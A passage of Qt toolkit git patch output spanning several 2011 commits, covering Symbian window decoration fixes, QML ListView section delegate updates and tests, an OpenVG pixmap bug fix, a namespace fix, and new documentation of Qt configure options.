(%s)", - hook.obj->metaObject()->className(), - hook.obj->metaObject()->method(hook.midx).signature(), - qPrintable(qerror.name()), qPrintable(qerror.message())); - Q_ASSERT(false); - } else { - // Successfully connected the signal - // Do we need to watch for this name? - if (shouldWatchService(hook.service)) { - WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; - if (++data.refcount == 1) { - // we need to watch for this service changing - connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), - QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), - this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); - data.owner = getNameOwnerNoCache(hook.service); - qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" - << data.owner << ")"; - } + q_dbus_bus_add_match(connection, hook.matchRule, NULL); + + // Successfully connected the signal + // Do we need to watch for this name? + if (shouldWatchService(hook.service)) { + WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; + if (++data.refcount == 1) { + // we need to watch for this service changing + connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), + QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), + this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); + data.owner = getNameOwnerNoCache(hook.service); + qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" + << data.owner << ")"; } } } -- cgit v0.12 From 9ae73fcd011e26c920f91cf0b609f051c14920a8 Mon Sep 17 00:00:00 2001 From: Jani Hautakangas Date: Sun, 6 Feb 2011 23:48:39 +0200 Subject: Fix native child window Symbian decoration handling. Resizing native child window like QVideoWidget caused S60 cba and status pane to appear. Task-number: QTBUG-17040 Reviewed-by: Gareth Stockwell --- src/gui/kernel/qapplication_s60.cpp | 14 ++++++++------ src/gui/kernel/qwidget_s60.cpp | 24 +++++++++++++++--------- 2 files changed, 23 insertions(+), 15 deletions(-) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 40a7ec6..6bddb19 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1245,12 +1245,14 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */) #ifdef Q_WS_S60 // If widget is fullscreen/minimized, hide status pane and button container otherwise show them. QWidget *const window = qwidget->window(); - const bool visible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; - const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaVisibilityHint)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + if (!window->parentWidget()) { // Only top level native windows have control over cba/status pane + const bool decorationsVisible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; + const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaVisibilityHint)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif } else if (QApplication::activeWindow() == qwidget->window()) { bool focusedControlFound = false; diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 6af809f..1551162 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -485,6 +485,7 @@ void QWidgetPrivate::show_sys() QSymbianControl *id = static_cast(q->internalWinId()); const bool isFullscreen = q->windowState() & Qt::WindowFullScreen; + const TBool cbaRequested = q->windowFlags() & Qt::WindowSoftkeysVisibleHint; #ifdef Q_WS_S60 // Lazily initialize the S60 screen furniture when the first window is shown. @@ -504,6 +505,8 @@ void QWidgetPrivate::show_sys() CEikButtonGroupContainer *cba = CEikButtonGroupContainer::NewL(CEikButtonGroupContainer::ECba, CEikButtonGroupContainer::EHorizontal,ui,R_AVKON_SOFTKEYS_EMPTY_WITH_IDS); + if (isFullscreen && !cbaRequested) + cba->MakeVisible(false); CEikButtonGroupContainer *oldCba = factory->SwapButtonGroup(cba); Q_ASSERT(!oldCba); @@ -1169,14 +1172,17 @@ void QWidget::setWindowState(Qt::WindowStates newstate) } #ifdef Q_WS_S60 - // Hide window decoration when switching to fullsccreen / minimized otherwise show decoration. - // The window decoration visibility has to be changed before doing actual window state - // change since in that order the availableGeometry will return directly the right size and - // we will avoid unnecessarty redraws - const bool visible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaRequested)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + bool decorationsVisible(false); + if (!parentWidget()) { // Only top level native windows have control over cba/status pane + // Hide window decoration when switching to fullscreen / minimized otherwise show decoration. + // The window decoration visibility has to be changed before doing actual window state + // change since in that order the availableGeometry will return directly the right size and + // we will avoid unnecessary redraws + decorationsVisible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaRequested)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif // Q_WS_S60 // Ensure the initial size is valid, since we store it as normalGeometry below. @@ -1200,7 +1206,7 @@ void QWidget::setWindowState(Qt::WindowStates newstate) // accurate because it did not consider the status pane. This means that when returning // normal mode after showing the status pane, the geometry would overlap so we should // move it if it never had an explicit position. - if (!wasMoved && S60->statusPane() && visible) { + if (!wasMoved && S60->statusPane() && decorationsVisible) { TPoint tl = static_cast(S60->appUi())->ClientRect().iTl; normalGeometry.setTopLeft(QPoint(tl.iX, tl.iY)); } -- cgit v0.12 From 24d8e96624af91ab01a20c10625858300f16099b Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 7 Feb 2011 10:03:25 +1000 Subject: Disable lineHeight test while implementing the feature in master properly. --- tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp index 320a6e7..44059f5 100644 --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp @@ -1113,13 +1113,13 @@ void tst_qdeclarativetext::lineHeight() myText->setLineHeightMode(QDeclarativeText::MultiplyHeight); myText->setLineHeight(1); - qreal h2 = myText->height(); + //qreal h2 = myText->height(); myText->setLineHeight(2.0); - QVERIFY(myText->height() == h2 * 2.0); + //QVERIFY(myText->height() == h2 * 2.0); myText->setLineHeightMode(QDeclarativeText::PixelHeight); myText->setLineHeight(10); - QCOMPARE(myText->height(), myText->lineCount() * 10.0); + //QCOMPARE(myText->height(), myText->lineCount() * 10.0); delete canvas; } -- cgit v0.12 From 27339962c023820ef9cd76843e256c7f3d624116 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 7 Feb 2011 11:23:49 +1000 Subject: Make test compile --- .../declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 820a282..ba52987 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -593,12 +593,12 @@ void tst_QDeclarativeRepeater::modelChanged() repeater->setModel(4); QCOMPARE(repeater->count(), 4); - QCOMPARE(repeater->property("itemsCount"), 4); + QCOMPARE(repeater->property("itemsCount").toInt(), 4); QCOMPARE(repeater->property("itemsFound").toList().count(), 4); repeater->setModel(10); QCOMPARE(repeater->count(), 10); - QCOMPARE(repeater->property("itemsCount"), 10); + QCOMPARE(repeater->property("itemsCount").toInt(), 10); QCOMPARE(repeater->property("itemsFound").toList().count(), 10); delete rootObject; -- cgit v0.12 From e57716ad44e5894890d662f9ac596b70c109104f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 7 Feb 2011 10:59:38 +1000 Subject: Ensure section delegates are updated when the section property changes. If the section property changes and the existing section delegate is reused the section property in the delegate must be updated. Change-Id: I6c3dcdb697e80e1ab5162a179da52e0a0f41144c Task-number: QTBUG-17068 Reviewed-by: Bea Lam --- .../graphicsitems/qdeclarativelistview.cpp | 3 ++ .../data/listview-sections_delegate.qml | 63 ++++++++++++++++++++++ .../tst_qdeclarativelistview.cpp | 53 ++++++++++++++++++ 3 files changed, 119 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 075c3af..bb5bd75 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -936,6 +936,9 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem) } } listItem->setPosition(pos); + } else { + QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext(); + context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); } } else if (listItem->section) { qreal pos = listItem->position(); diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml new file mode 100644 index 0000000..35a398b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml @@ -0,0 +1,63 @@ +import QtQuick 1.0 + +Rectangle { + width: 240 + height: 320 + color: "#ffffff" + resources: [ + Component { + id: myDelegate + Item { + id: wrapper + objectName: "wrapper" + height: 20; + width: 240 + Rectangle { + height: 20 + width: parent.width + color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white" + Text { + text: index + } + Text { + x: 30 + id: textName + objectName: "textName" + text: name + } + Text { + x: 100 + id: textNumber + objectName: "textNumber" + text: number + } + Text { + objectName: "nextSection" + x: 150 + text: wrapper.ListView.nextSection + } + Text { + x: 200 + text: wrapper.y + } + } + } + } + ] + ListView { + id: list + objectName: "list" + width: 240 + height: 320 + model: testModel + delegate: myDelegate + section.property: "number" + section.delegate: Rectangle { + objectName: "sect_" + section + color: "#99bb99" + height: 20 + width: list.width + Text { text: section } + } + } +} diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index 86b68ca..8df0bb9 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -90,6 +90,7 @@ private slots: void enforceRange(); void spacing(); void sections(); + void sectionsDelegate(); void cacheBuffer(); void positionViewAtIndex(); void resetModel(); @@ -1017,6 +1018,58 @@ void tst_QDeclarativeListView::sections() delete canvas; } +void tst_QDeclarativeListView::sectionsDelegate() +{ + QDeclarativeView *canvas = createView(); + + TestModel model; + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), QString::number(i/5)); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml")); + qApp->processEvents(); + + QDeclarativeListView *listview = findItem(canvas->rootObject(), "list"); + QTRY_VERIFY(listview != 0); + + QDeclarativeItem *contentItem = listview->contentItem(); + QTRY_VERIFY(contentItem != 0); + + // Confirm items positioned correctly + int itemCount = findItems(contentItem, "wrapper").count(); + for (int i = 0; i < model.count() && i < itemCount; ++i) { + QDeclarativeItem *item = findItem(contentItem, "wrapper", i); + QTRY_VERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20)); + QDeclarativeText *next = findItem(item, "nextSection"); + QCOMPARE(next->text().toInt(), (i+1)/5); + } + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem(contentItem, "sect_" + QString::number(i)); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + model.modifyItem(0, "One", "aaa"); + model.modifyItem(1, "Two", "aaa"); + model.modifyItem(2, "Three", "aaa"); + model.modifyItem(3, "Four", "aaa"); + model.modifyItem(4, "Five", "aaa"); + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem(contentItem, + "sect_" + (i == 0 ? QString("aaa") : QString::number(i))); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + delete canvas; +} + void tst_QDeclarativeListView::currentIndex() { TestModel model; -- cgit v0.12 From 6bd233953ac87603ddee8c5f087fbe523dd3793e Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 7 Feb 2011 14:24:36 +1000 Subject: Changing header/footer size during creation caused recusion If the size of the header or footer was changed during creation it would trigger itemGeometryChanged() which called updateHeader() and updateFooter() thereby causing recusion. We should only call those methods if the header/footer is already created. Change-Id: Ia2ae4047d745d1f301d243278550e65854fa830a Task-number: QT-4439 Reviewed-by: Joona Petrell --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 6 ++++-- src/declarative/graphicsitems/qdeclarativelistview.cpp | 6 ++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 9aade98..c2c4ed7 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -331,8 +331,10 @@ public: } } } else if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index bb5bd75..800e82e 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -413,8 +413,10 @@ public: } } if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } if (currentItem && currentItem->item == item) updateHighlight(); -- cgit v0.12 From 512b53969408fdd9c0a2950f3249fd3ca07b319e Mon Sep 17 00:00:00 2001 From: Laszlo Agocs Date: Fri, 4 Feb 2011 15:44:07 +0200 Subject: Fix the broken QPixmap::fromSymbianRSgImage(). The retrieved VGImage handle was accidentally assigned to a local variable instead of the member with the same name so it always ended up creating an empty pixmap. Reviewed-by: Jani Hautakangas --- src/openvg/qvg_symbian.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp index 3ee1181..2ea38c1 100644 --- a/src/openvg/qvg_symbian.cpp +++ b/src/openvg/qvg_symbian.cpp @@ -147,7 +147,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) destroyImages(); prevSize = QSize(); - VGImage vgImage = sgImageToVGImage(context, *sgImage); + vgImage = sgImageToVGImage(context, *sgImage); if (vgImage != VG_INVALID_HANDLE) { w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH); h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT); -- cgit v0.12 From b1d877e32361e8ca5c092a4df4528e5aa868008f Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Mon, 7 Feb 2011 10:06:36 +0000 Subject: Fix namespace error Reviewed-by: Olivier Goffart --- src/network/bearer/qnetworksession.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index 0bca4b6..7739218 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -139,15 +139,15 @@ private: friend class QNetworkSessionPrivate; }; -Q_DECLARE_METATYPE(QNetworkSession::State); -Q_DECLARE_METATYPE(QNetworkSession::SessionError); - #ifndef QT_MOBILITY_BEARER QT_END_NAMESPACE #else QTM_END_NAMESPACE #endif +Q_DECLARE_METATYPE(QNetworkSession::State); +Q_DECLARE_METATYPE(QNetworkSession::SessionError); + QT_END_HEADER #endif // QT_NO_BEARERMANAGEMENT -- cgit v0.12 From 776a00b3e8a29552a5db65fb539c0802654bfdff Mon Sep 17 00:00:00 2001 From: Morten Engvoldsen Date: Mon, 7 Feb 2011 11:26:57 +0100 Subject: Doc: Adding documentation on configure options for Qt configure --- doc/src/getting-started/installation.qdoc | 287 ++++++++++++++++++++++++++++++ 1 file changed, 287 insertions(+) diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index d39bb39..c906f84 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -1298,3 +1298,290 @@ We hope you will enjoy using Qt. \sa {Known Issues} */ + +/*! + \page configure-options.html + \title Configure options for Qt + \ingroup installation + \brief Brief description of available options building Qt. + + This page gives a brief description of the different options + available when building Qt using configure. To build Qt using + default options, just call configure from the command line like + showed below. If you would like to customize your build, please + use the options listed in the following tables. + + \c {.\configure.exe} + + \section2 Cross platform options: + + \table + \header \o Option \o Description \o Note + \row \o \c {-buildkey } \o Build the Qt library and plugins + using the specified \o + \row \o \c {} \o When the library loads plugins, it will only + load those that have a matching . \o + \row \o \c {-release } \o Compile and link Qt with debugging turned off. \o + \row \o \c {-debug } \o Compile and link Qt with debugging turned on. + \o Defualt value. + \row \o \c {-debug-and-release} \o Compile and link two Qt libraries, + with and without debugging turned on. \o This option denotes a default + value and needs to be evaluated. If the evaluation succeeds, the + feature is included. + \row \o \c {-opensource} \o Compile and link the Open-Source Edition + of Qt. \o + \row \o \c {-commercial } \o Compile and link the Commercial Edition + of Qt. \o + \row \o \c {-developer-build} \o Compile and link Qt with Qt developer + options including auto-tests exporting) \o + \row \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt + value. + \row \o \c {-static} \o Create and use static Qt libraries. \o + \row \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release + builds only. + \row \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt + value. + \row \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for + all project files. \o Defualt value. + \row \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for + library and subdirectory targets. \o All other Makefiles are created as + wrappers which will in turn run qmake. + \row \o \c {-no-exceptions} \o Disable exceptions on platforms that support + it. \o + \row \o \c {-exceptions} \o Enable exceptions on platforms that support it. + \o Defualt value. + \row \o \c {-no-accessibility} \o Do not compile Windows Active + Accessibility support. \o + \row \o \c {-accessibility} \o Compile Windows Active Accessibility + support. \o Defualt value. + \row \o \c {-no-stl} \o Do not compile STL support. \o + \row \o \c {-stl} \o Compile STL support. \o Defualt value. + \row \o \c {-no-sql-} \o Disable SQL entirely, by default + none are turned on. \o + \row \o \c {-qt-sql-} \o Enable a SQL in the Qt Library. + \o + \row \o \c {-plugin-sql-} \o Enable SQL as a plugin to be + linked to at run time. \o Available values for : mysql, psql, + oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a + '+' during configure have been detected as available on this system. + \row \o \c {-system-sqlite} \o Use sqlite from the operating system. \o + \row \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o + \row \o \c {-no-opengl} \o Disables OpenGL functionality \o + \row \o \c {-opengl } \o Enable OpenGL support with specified API + version. \o Available values for : desktop - Enable support for + Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common + Profile, es2 - Enable support for OpenGL ES 2.0. + \row \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value. + \row \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL + support, typically supplied by an OpenGL or other graphics + implementation. + \row \o \c {-platform } \o The operating system and compiler you + are building on. \o The default value is %QMAKESPEC%. + \row \o \c {-xplatform } \o The operating system and compiler you + are cross compiling to. \o See the README file for a list of supported + operating systems and compilers. + \row \o \c {-qtnamespace } \o Wraps all Qt library code in + 'namespace name {..} \o + \row \o \c {-qtlibinfix } \o Renames all Qt* libs to Qt* + \o + \row \o \c {-D } \o Add an explicit define to the preprocessor. + \o + \row \o \c {-I } \o Add an explicit include path. \o + \row \o \c {-L } \o Add an explicit library path. \o + \row \o \c {-l } \o Add an explicit library name, residing + in a librarypath. \o + \row \o \c {-graphicssystem } \o Specify which graphicssystem should + be used. \o Available values for : * raster - Software rasterizer, + opengl - Using OpenGL acceleration, experimental!, openvg - Using + OpenVG acceleration, experimental! + \row \o \c {-help, -h, -?} \o Display this information. \o + \endtable + + \section2 Third Party Libraries: + \table + \header \o Option \o Description \o Note + \row \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o + \row \o \c {-system-zlib} \o Use zlib from the operating system. + \o See http://www.gzip.org/zlib + \row \o \c {-no-gif} \o Do not compile GIF reading support. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-qt-gif} \o Compile GIF reading support. \o See also + src/gui/image/qgifhandler_p.h + \row \o \c {-no-libpng} \o Do not compile PNG support. \o + \row \o \c {-qt-libpng} \o Use the libpng bundled with Qt. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-system-libpng} \o Use libpng from the operating system. + \o See http://www.libpng.org/pub/png + \row \o \c {-no-libmng} \o Do not compile MNG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o + \row \o \c {-system-libmng} \o Use libmng from the operating system. + \o See See http://www.libmng.com + \row \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o + \row \o \c {-system-libtiff} \o Use libtiff from the operating system. + \o See http://www.libtiff.org + \row \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o + \row \o \c {-system-libjpeg} \o Use libjpeg from the operating system. + \o See http://www.ijg.org. This option denotes a default value and + needs to be evaluated. If the evaluation succeeds, the feature is + included. + \endtable + + \section2 Qt for Windows only: + \table + \header \o Option \o Description \o Note + \row \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o + \row \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc". + \o Defualt value. + \row \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o + \row \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform + "win32-msvc.net". \o Defualt value. + \row \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution + commands to custom build steps. \o + \row \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands + to custom build steps. This will distribute MOC and UIC steps, and other + custom buildsteps which are added to the INCREDIBUILD_XGE variable. + \o The IncrediBuild distribution commands are only added to Visual Studio + projects. This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o + \row \o \c {-plugin-manifests} \o Embed manifests in plugins. + \o Defualt value. + \row \o \c {-no-qmake} \o Do not compile qmake. \o + \row \o \c {-qmake} \o Compile qmake. \o Defualt value + \row \o \c {-dont-process} \o Do not generate Makefiles/Project files. This + will override -no-fast if specified. \o + \row \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value. + \row \o \c {-no-rtti} \o Do not compile runtime type information. \o + \row \o \c {-rtti} \o Compile runtime type information. \o Defualt value. + \row \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o + \row \o \c {-mmx} \o Compile with use of MMX instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o + \row \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-sse} \o Do not compile with use of SSE instructions \o + \row \o \c {-sse} \o Compile with use of SSE instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o + \row \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-openssl} \o Do not compile in OpenSSL support \o + \row \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o + \row \o \c {-no-dbus} \o Do not compile in D-Bus support \o + \row \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-dbus-linked} \o Compile in D-Bus support and link to + libdbus-1 \o + \row \o \c {-no-phonon} \o Do not compile in the Phonon module \o + \row \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a + decent C++ compiler is used. This option denotes a default value and needs + to be evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-phonon-backend} \o Do not compile the platform-specific + Phonon backend-plugin \o + \row \o \c {-phonon-backend} \o Compile in the platform-specific Phonon + backend-plugin \o Defualt value. + \row \o \c {-no-multimedia} \o Do not compile the multimedia module \o + \row \o \c {-multimedia} \o Compile in multimedia module \o Defualt value. + \row \o \c {-no-audio-backend} \o Do not compile in the platform audio + backend into QtMultimedia \o + \row \o \c {-audio-backend} \o Compile in the platform audio backend into + QtMultimedia \o This option denotes a default value and needs to be + evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-webkit} \o Do not compile in the WebKit module \o + \row \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built + if a decent C++ compiler is used. This option denotes a default value + and needs to be evaluated. If the evaluation succeeds, the feature is + included. + \row \o \c {-webkit-debug} \o Compile in the WebKit module with debug + symbols. \o + \row \o \c {-no-script} \o Do not build the QtScript module. \o + \row \o \c {-script} \o Build the QtScript module. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o + \row \o \c {-scripttools} \o Build the QtScriptTools module. \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-declarative} \o Do not build the declarative module \o + \row \o \c {-declarative} \o Build the declarative module \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-declarative-debug} \o Do not build the declarative debugging + support \o + \row \o \c {-declarative-debug} \o Build the declarative debugging support + \o Defualt value. + \row \o \c {-arch } \o Specify an architecture. \o Available values for + : * windows, windowsce, symbian, boundschecker, generic. + \row \o \c {-no-style-